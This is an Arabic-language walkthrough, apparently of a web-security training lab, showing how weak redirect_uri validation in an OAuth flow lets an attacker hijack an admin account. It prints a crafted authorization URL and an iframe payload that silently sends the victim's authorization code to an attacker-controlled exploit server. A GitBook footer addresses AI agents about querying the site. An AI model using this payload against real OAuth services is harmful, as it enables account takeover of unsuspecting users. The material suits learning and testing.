> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/oauth-authentication/oauth-account-hijacking-via-redirect-uri.md).

# اختطاف حساب OAuth عبر redirect\_uri

### اختطاف حساب OAuth عبر إعادة التوجيه/\_uri

**هدف المختبر**

توضح هذه المختبر كيفية أن التكوين السيئ لـ `redirect_uri` يسمح المعامل في تدفق OAuth لمهاجم بسرقة **رموز التفويض** المرتبطة بحساب مستخدم آخر.

**ولكن في النهاية :**

* اعتراض رمز تفويض OAuth يخص مستخدمًا **admin**
* استخدم هذا الرمز للوصول إلى حسابه
* حذف المستخدم **carlos**

**السياق والشروط**

* يسمح الموقع بالمصادقة عبر مزوّد OAuth (شبكة اجتماعية).
* المستخدم **admin**:
* يفتح أي رابط من خادم الاستغلال.
* لديه بالفعل جلسة نشطة مع مزود OAuth.
* المعرّفات المقدمة:
* الحساب الاجتماعي للمهاجم: `wiener:peter`

<figure><img src="/files/da7e325177d9b69405d0b27dfdb211d75cae55ff" alt=""><figcaption></figcaption></figure>

**تحليل تدفق OAuth**

عندما يتصل مستخدم عبر OAuth، يرسل التطبيق طلبًا مشابهًا لما يلي:

{% code overflow="wrap" %}

```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

النقطة الحرجة هي أن **مزود OAuth لا يتطلب تحققًا صارمًا من `redirect_uri`**.

{% code overflow="wrap" %}

```http
GET /auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://test.com/oauth-callback&response_type=code&scope=openid%20profile%20email HTTP/2
```

{% endcode %}

**التحقق من الثغرة**

تغيير `redirect_uri` المعامل إلى نطاق عشوائي، على سبيل المثال:

```bash
redirect_uri=https://test.com/oauth-callback
```

<figure><img src="/files/8f895395c6496d0ec92a65d69d06288c484bbc8d" alt=""><figcaption></figcaption></figure>

يُلاحظ السلوك التالي:

* يعيد مزود OAuth التوجيه بشكل صحيح إلى هذا الحقل
* **OAuth** يتم تضمين رمز التفويض في عنوان URL لإعادة التوجيه

هذا يؤكد أن `redirect_uri` قابل للاستغلال.

**الاستغلال**

الهدف الآن هو إجبار المسؤول على بدء مصادقة OAuth يكون إعادة توجيهها متجهًا إلى \*\*خادم الاستغلال\*\* الخاص بالمهاجم.

رابط OAuth الضار المستخدم:

{% code overflow="wrap" %}

```bash
https://oauth-0a0c00a60393a257834c58ce0205005b.oauth-server.net/auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://exploit-0a3d004d0323a23f836b59db014d00a8.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email
```

{% endcode %}

يتم تضمين هذا الرابط في صفحة خادم الاستغلال باستخدام iframe:

{% code overflow="wrap" %}

```javascript
<iframe src="https://oauth-0a0c00a60393a257834c58ce0205005b.oauth-server.net/auth?client_id=sfq2p7l2s6nra7j9be87a&redirect_uri=https://exploit-0a3d004d0323a23f836b59db014d00a8.exploit-server.net/oauth-callback&response_type=code&scope=openid%20profile%20email"></iframe>
```

{% endcode %}

**استرداد رمز التفويض**

عندما يفتح المسؤول الصفحة:

* يتم تشغيل تدفق OAuth تلقائيًا
* يعيد مزود OAuth التوجيه إلى خادم الاستغلال
* تحتوي سجلات \*\*خادم الاستغلال\*\* على عدة رموز OAuth

الـ **آخر رمز تم استلامه** يُستخدم، على سبيل المثال:

```
https://0ae000760359a2b483555a77004b00b8.web-security-academy.net/oauth-callback?code=XHqrGOew1V0hH734nwPpUv3aZg0CeFklDsu21mNyslq
```

<figure><img src="/files/0ccfbfa918b060dd92575c444af5ccaeb0ca8540" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/79aca5de76b093d2256e148962ab36e5888db867" alt=""><figcaption></figcaption></figure>

**النتيجة**

* رمز التفويض صالح
* تم الحصول على الوصول إلى \*\*حساب المسؤول\*\*

<figure><img src="/files/9934f008984563230baf80180fae452e71a44095" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/oauth-authentication/oauth-account-hijacking-via-redirect-uri.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
